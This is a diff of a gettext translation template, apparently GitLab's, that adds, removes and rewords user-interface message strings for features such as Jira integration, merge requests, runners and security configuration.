msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
